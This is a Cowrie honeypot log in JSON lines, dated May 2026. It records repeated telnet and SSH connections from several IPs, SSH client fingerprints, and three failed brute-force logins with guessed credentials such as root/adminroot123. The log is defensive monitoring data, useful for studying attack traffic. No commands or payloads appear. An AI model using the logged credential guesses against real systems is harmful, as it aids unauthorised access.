{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":48110,"dst_ip":"159.203.135.109","dst_port":23,"session":"81d137f1bb5b","protocol":"telnet","message":"New connection: 162.248.7.67:48110 (159.203.135.109:23) [session: 81d137f1bb5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:53.308611Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":49780,"dst_ip":"159.203.135.109","dst_port":23,"session":"f84f2e2592e6","protocol":"telnet","message":"New connection: 162.248.7.67:49780 (159.203.135.109:23) [session: f84f2e2592e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:55.190185Z"}
{"eventid":"cowrie.session.closed","duration":31.004456281661987,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:55.680516Z","src_ip":"162.248.7.67","session":"d691c64f03ef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.868610620498657,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:56.837238Z","src_ip":"162.248.7.67","session":"593b8ffdc2e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.59355115890503,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:57.085608Z","src_ip":"162.248.7.67","session":"6bd76c6c1d7e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":51290,"dst_ip":"159.203.135.109","dst_port":23,"session":"936666624f35","protocol":"telnet","message":"New connection: 162.248.7.67:51290 (159.203.135.109:23) [session: 936666624f35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:57.183244Z"}
{"eventid":"cowrie.session.closed","duration":30.54328179359436,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:57.354873Z","src_ip":"162.248.7.67","session":"a44026d0363a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.66084027290344,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:06:00.278746Z","src_ip":"137.184.155.248","session":"54369f54df04","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":53254,"dst_ip":"159.203.135.109","dst_port":23,"session":"7a2d0ce65deb","protocol":"telnet","message":"New connection: 162.248.7.67:53254 (159.203.135.109:23) [session: 7a2d0ce65deb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:06:00.598069Z"}
{"eventid":"cowrie.session.closed","duration":47.47812366485596,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:06:02.859452Z","src_ip":"137.184.155.248","session":"89f7ec870b90","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":35028,"dst_ip":"10.17.0.5","dst_port":23,"session":"ead22ff1e1fd","protocol":"telnet","message":"New connection: 137.184.155.248:35028 (10.17.0.5:23) [session: ead22ff1e1fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:06:03.492145Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":60340,"dst_ip":"159.203.135.109","dst_port":23,"session":"b2d47caa5e24","protocol":"telnet","message":"New connection: 162.248.7.67:60340 (159.203.135.109:23) [session: b2d47caa5e24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:06:07.817424Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":60508,"dst_ip":"159.203.135.109","dst_port":23,"session":"596f8545f4b9","protocol":"telnet","message":"New connection: 162.248.7.67:60508 (159.203.135.109:23) [session: 596f8545f4b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:06:07.982393Z"}
{"eventid":"cowrie.session.closed","duration":31.647528171539307,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:06:09.130293Z","src_ip":"162.248.7.67","session":"033c1b922120","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":60660,"dst_ip":"159.203.135.109","dst_port":23,"session":"cfae77d83ed4","protocol":"telnet","message":"New connection: 162.248.7.67:60660 (159.203.135.109:23) [session: cfae77d83ed4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:06:09.184877Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":59130,"dst_ip":"159.203.135.109","dst_port":23,"session":"f6d2934e6e51","protocol":"telnet","message":"New connection: 162.248.7.67:59130 (159.203.135.109:23) [session: f6d2934e6e51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:06:09.363075Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":34432,"dst_ip":"159.203.135.109","dst_port":23,"session":"5bbe9b1fefd6","protocol":"telnet","message":"New connection: 162.248.7.67:34432 (159.203.135.109:23) [session: 5bbe9b1fefd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:06:11.199680Z"}
{"eventid":"cowrie.session.closed","duration":30.304003477096558,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:06:11.401001Z","src_ip":"162.248.7.67","session":"a760f0cc7624","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.433461904525757,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:06:13.249422Z","src_ip":"162.248.7.67","session":"a86173bb3808","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.218019485473633,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:06:15.362928Z","src_ip":"162.248.7.67","session":"87992d58de82","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.56890344619751,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:06:15.634555Z","src_ip":"162.248.7.67","session":"3206842875c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":39180,"dst_ip":"159.203.135.109","dst_port":23,"session":"0829681cd924","protocol":"telnet","message":"New connection: 162.248.7.67:39180 (159.203.135.109:23) [session: 0829681cd924]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:06:16.315805Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":41076,"dst_ip":"159.203.135.109","dst_port":23,"session":"19e2aa710e30","protocol":"telnet","message":"New connection: 162.248.7.67:41076 (159.203.135.109:23) [session: 19e2aa710e30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:06:17.226892Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":41372,"dst_ip":"159.203.135.109","dst_port":23,"session":"cedd4afd8392","protocol":"telnet","message":"New connection: 162.248.7.67:41372 (159.203.135.109:23) [session: cedd4afd8392]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:06:17.559356Z"}
{"eventid":"cowrie.session.closed","duration":30.71960949897766,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:06:18.562599Z","src_ip":"162.248.7.67","session":"f5d6ae2d2e98","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00113701820374,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:06:18.810163Z","src_ip":"182.253.54.171","session":"c36d975f7667","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":42644,"dst_ip":"159.203.135.109","dst_port":23,"session":"f53db268032e","protocol":"telnet","message":"New connection: 162.248.7.67:42644 (159.203.135.109:23) [session: f53db268032e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:06:19.141835Z"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.54.171","src_port":10606,"dst_ip":"10.17.0.5","dst_port":23,"session":"909cc9510e9c","protocol":"telnet","message":"New connection: 182.253.54.171:10606 (10.17.0.5:23) [session: 909cc9510e9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:06:19.313653Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":42412,"dst_ip":"159.203.135.109","dst_port":23,"session":"67565d834bcc","protocol":"telnet","message":"New connection: 162.248.7.67:42412 (159.203.135.109:23) [session: 67565d834bcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:06:19.762348Z"}
{"eventid":"cowrie.session.closed","duration":30.888065576553345,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:06:21.644501Z","src_ip":"162.248.7.67","session":"fadaca815d30","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":44680,"dst_ip":"159.203.135.109","dst_port":23,"session":"e013885785b7","protocol":"telnet","message":"New connection: 162.248.7.67:44680 (159.203.135.109:23) [session: e013885785b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:06:21.921744Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":45840,"dst_ip":"159.203.135.109","dst_port":23,"session":"bbf86e434747","protocol":"telnet","message":"New connection: 162.248.7.67:45840 (159.203.135.109:23) [session: bbf86e434747]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:06:23.419006Z"}
{"eventid":"cowrie.session.closed","duration":120.0016815662384,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:06:24.212790Z","src_ip":"182.253.54.171","session":"d8a6bda18937","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.326319217681885,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:06:24.612437Z","src_ip":"162.248.7.67","session":"0ee4bf686632","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.54.171","src_port":14698,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a165f0f9371","protocol":"telnet","message":"New connection: 182.253.54.171:14698 (10.17.0.5:23) [session: 8a165f0f9371]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:06:24.718283Z"}
{"eventid":"cowrie.session.closed","duration":31.97371220588684,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:06:25.282221Z","src_ip":"162.248.7.67","session":"81d137f1bb5b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":47184,"dst_ip":"159.203.135.109","dst_port":23,"session":"63f9afa52dde","protocol":"telnet","message":"New connection: 162.248.7.67:47184 (159.203.135.109:23) [session: 63f9afa52dde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:06:25.481672Z"}
{"eventid":"cowrie.session.closed","duration":120.00188279151917,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:06:25.559074Z","src_ip":"182.253.54.171","session":"8eb110f19480","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.54.171","src_port":12034,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa37b3e3304b","protocol":"telnet","message":"New connection: 182.253.54.171:12034 (10.17.0.5:23) [session: fa37b3e3304b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:06:26.052252Z"}
{"eventid":"cowrie.session.closed","duration":31.09161877632141,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:06:26.281696Z","src_ip":"162.248.7.67","session":"f84f2e2592e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.29179286956787,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:06:27.474918Z","src_ip":"162.248.7.67","session":"936666624f35","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.54.171","src_port":13511,"dst_ip":"10.17.0.5","dst_port":23,"session":"97188be0b6ce","protocol":"telnet","message":"New connection: 182.253.54.171:13511 (10.17.0.5:23) [session: 97188be0b6ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:06:30.424201Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":38460,"dst_ip":"10.17.0.5","dst_port":22,"session":"adb1c73ca311","protocol":"ssh","message":"New connection: 2.57.122.238:38460 (10.17.0.5:22) [session: adb1c73ca311]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:06:30.624400Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:06:30.629297Z","src_ip":"2.57.122.238","session":"adb1c73ca311","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:06:30.735396Z","src_ip":"2.57.122.238","session":"adb1c73ca311","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:06:31.055131Z","src_ip":"2.57.122.238","session":"adb1c73ca311","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.211.152.138","src_port":41640,"dst_ip":"159.203.135.109","dst_port":22,"session":"759d9d2cfa03","protocol":"ssh","message":"New connection: 102.211.152.138:41640 (159.203.135.109:22) [session: 759d9d2cfa03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:06:31.176742Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:06:31.181736Z","src_ip":"102.211.152.138","session":"759d9d2cfa03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:06:31.292846Z","src_ip":"102.211.152.138","session":"759d9d2cfa03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":38806,"dst_ip":"10.17.0.5","dst_port":23,"session":"76e30f3a651d","protocol":"telnet","message":"New connection: 137.184.155.248:38806 (10.17.0.5:23) [session: 76e30f3a651d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:06:31.378691Z"}
{"eventid":"cowrie.session.closed","duration":31.035991668701172,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:06:31.633911Z","src_ip":"162.248.7.67","session":"7a2d0ce65deb","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"adminroot123","message":"login attempt [root/adminroot123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:06:31.758035Z","src_ip":"102.211.152.138","session":"759d9d2cfa03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:06:32.162796Z","src_ip":"2.57.122.238","session":"adb1c73ca311","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:06:32.868396Z","src_ip":"102.211.152.138","session":"759d9d2cfa03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.157.98.118","src_port":46168,"dst_ip":"159.203.135.109","dst_port":22,"session":"5d9a23e202ed","protocol":"ssh","message":"New connection: 43.157.98.118:46168 (159.203.135.109:22) [session: 5d9a23e202ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:06:35.663052Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:06:35.668061Z","src_ip":"43.157.98.118","session":"5d9a23e202ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:06:35.759509Z","src_ip":"43.157.98.118","session":"5d9a23e202ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootroot1","message":"login attempt [root/rootroot1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:06:36.452328Z","src_ip":"43.157.98.118","session":"5d9a23e202ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.425872564315796,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:06:36.804444Z","src_ip":"137.184.155.248","session":"76e30f3a651d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:06:37.545780Z","src_ip":"43.157.98.118","session":"5d9a23e202ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.891660451889038,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:06:38.873945Z","src_ip":"162.248.7.67","session":"596f8545f4b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.29581928253174,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:06:39.113119Z","src_ip":"162.248.7.67","session":"b2d47caa5e24","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.428911447525024,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:06:39.613677Z","src_ip":"162.248.7.67","session":"cfae77d83ed4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":57568,"dst_ip":"159.203.135.109","dst_port":23,"session":"450ddad44d02","protocol":"telnet","message":"New connection: 162.248.7.67:57568 (159.203.135.109:23) [session: 450ddad44d02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:06:40.209478Z"}
{"eventid":"cowrie.session.closed","duration":30.99577045440674,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:06:40.358714Z","src_ip":"162.248.7.67","session":"f6d2934e6e51","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.49913239479065,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:06:41.698647Z","src_ip":"162.248.7.67","session":"5bbe9b1fefd6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":59042,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e38fdf416b3","protocol":"telnet","message":"New connection: 162.248.7.67:59042 (159.203.135.109:23) [session: 1e38fdf416b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:06:42.236504Z"}
{"eventid":"cowrie.session.closed","duration":120.00161480903625,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:06:42.266527Z","src_ip":"182.253.54.171","session":"ec2f9394a747","protocol":"telnet"}
